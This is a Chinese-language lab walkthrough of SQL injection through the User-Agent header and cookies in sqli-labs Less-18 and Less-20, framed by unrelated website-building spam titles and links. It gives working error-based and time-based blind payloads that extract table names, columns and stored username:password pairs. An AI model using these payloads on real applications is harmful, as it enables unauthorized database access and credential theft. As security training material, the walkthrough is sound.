当前位置: 首页 > wzjs >正文

电商网站建设前的市场分析内容如何代做网站

电商网站建设前的市场分析内容,如何代做网站,wordpress添加分类筛选手表,小程序开发平台有哪些公司uagent注入 1、漏洞成因: 当Web应用程序将用户提供的User-Agent值未经处理直接拼接到SQL查询语句时,攻击者可以通过构造恶意User-Agent值闭合原有SQL语句并注入任意SQL代码。 2、以less-18为例: 相比前几关,第18关对于uname和pa…

uagent注入

1、漏洞成因:

当Web应用程序将用户提供的User-Agent值未经处理直接拼接到SQL查询语句时,攻击者可以通过构造恶意User-Agent值闭合原有SQL语句并注入任意SQL代码。

2、以less-18为例:

相比前几关,第18关对于uname和passwd的输入都进行了过滤源代码如下:

  $uname = check_input($con1, $_POST['uname']);
​$passwd = check_input($con1, $_POST['passwd']);

对于输入的单引号、双引号、反斜杠等都进行转义,无法进行闭合

所以下面的查询源代码就不能是注入点

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

而在下面源代码观察发现,有一个insert语句,也有报错的前端回显、对于uagent

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
​
mysqli_query($con1, $insert);
​
echo 'Your User Agent is: ' .$uagent;
echo "</font>";

下面用burpsuite抓包测试注入点(要传入正确的输入才可以走到uagent注入点)

抓到包后进入Request模块对User-Agent:字段添加一个单引号,然后Response,会看到mysql报错回显,证明可以尝试报错注入

通过在上面的源码可以分析出uagent字段后面还有$IP和 $uname两个字段,所以进行带入字段和注释看看回显

在后加上 ',1,1)# 其Response并没有报错的回显的正常回显

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 ',1,1)#

接下来进一步可以替换最后一个1来输入报错注入的语句

尝试报错注入数据库名:

',1,extractvalue(1,concat(0x7e,database())))# ​

',1,updatexml(1,concat(0x7e,(select database())),1))#

尝试报错注入表名:

',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1))))#

',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1))#

尝试报错注入列名:

',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))))#

',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1))#

尝试报错注入数据信息:

',1,extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users))))# ​

',1,updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1))#

cookie、

以less-20为例:

同样和第18关一样 对于uname和passwd的输入都进行了过滤源代码如下:

$uname = check_input($con1, $_POST['uname']);​   $passwd = check_input($con1, $_POST['passwd']);

而对于Request头部也没有的回显和INSERT INTO语句

所以http头部字段没有注入点了

而往下看看源代码会发现有个可疑的注入点:

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
​$result=mysqli_query($con1, $sql);
​if (!$result)
​{
​die('Issue with your mysql: ' . mysqli_error($con1));
​}

用burpsuite抓包(刷新已经登录界面)

查看cookie字段

Cookie: uname=Dumb

这里要用到插件HackBar

选择cookie模块输入内容:

http://192.168.44.148:8081/Less-20/index.php ​

uname=Dumb

执行后发现正常回显

测试注入点

uname=Dumb' 加上单引号执行后发现有报错信息:Dumb附近的报错

使用#注入 尝试闭合

uname=Dumb'# 执行后正常回显说明注入点就是这里了!

这里可以尝试报错注入和盲注

报错注入尝试:

uname=Dumb' and updatexml(1,concat(0x7e,(select database())),1)#

时间盲注尝试:

uname=Dumb' and sleep(3)# ​ uname=Dumb' and if(ascii(substring((select database()),1,1))=115,sleep(3),0)#

http://www.dtcms.com/wzjs/548773.html

相关文章:

  • 网站空间要多大长沙影楼网站建设
  • 烟台网站推广ppt模板免费下载百度云
  • 网站外链应该怎么做网站开发员的工资
  • 厦门网站建设系统网站建设 概念
  • 网站设计报告总结找公司做网站有什么好处
  • 特级a做爰网站网站建设高手要学多久
  • 晚上网站推广软件免费版seo推广教学
  • 北京网站建设公司公司网站建设合同首付多少钱
  • 贵阳设计网站公司注册网上查名
  • asp.net做三个网站wap712c
  • 网站开发经济可行性分析怎么写网站开发工具js
  • 印尼请人做网站wordpress编辑器转义
  • 如何做购物网站推广怎么iis设置网站
  • 黄浦西安网站建设织梦免费网站模块
  • 网站建设视屏教程农业网站设计
  • 网站建设价值wordpress 插件反复安装
  • 做网站论坛wordpress变色龙主题
  • 自助建站软件自动建站系统网站备案要幕布照
  • 单人网站制作php网站开发实例编程
  • 网站建设 协议书钦州市网站建设
  • 浙江省建设培训中心网站大连网站开发价格
  • lol做任务领头像网站网站推广计划包括哪些
  • 重庆做网站团队简单的网页设计主题
  • vs做网站开发吗深圳企业网站建设设计制作方案
  • 上海网站建设网页设池州网站建设开发
  • 网站排名优化首页wordpress 网站地址
  • 江门网站建设公司哪家好wordpress 主题 知乎
  • 电脑上做免费网站教程制作网站小程序
  • 株洲企业网站建设品牌哪些网站才能具备完整的八项网络营销功能
  • 宁波企业建网站报价中国网库做网站